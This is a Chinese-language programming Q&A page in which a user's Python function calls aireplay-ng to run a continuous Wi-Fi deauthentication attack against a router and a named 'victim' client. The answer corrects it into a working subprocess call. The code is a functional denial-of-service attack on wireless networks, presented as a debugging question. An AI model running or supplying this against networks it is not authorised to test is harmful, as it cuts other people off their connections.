无效的BSSID(AP MAC地址)

时间:2015-04-07 17:42:08

标签: python linux networking command-line

在攻击开始时在终端中写入此命令,但是当我在脚本中写入相同的命令时,这将是一个错误。

无效的BSSID(AP MAC地址)。

" aireplay-ng --help"寻求帮助。

 def deauth(mac_roteur,mac_victime,essid):
 os.system('sudo aireplay-ng -0 0 -b'+ mac_roteur+'-c'+ mac_victime + '-e'+ essid +'--ignore-negative-one mon0')

我需要帮助。感谢。

1 个答案:

答案 0 :(得分:0)

如果要运行命令,则应使用subprocess模块:

from subprocess import check_call
def deauth(mac_roteur,mac_victime,essid):
    check_call(['sudo', 'aireplay-ng','-0', '0', '-b', mac_roteur, '-c',  mac_victime, '-e',  essid, '--ignore-negative-one','mon0'])

我假设您正在使用sudo运行脚本。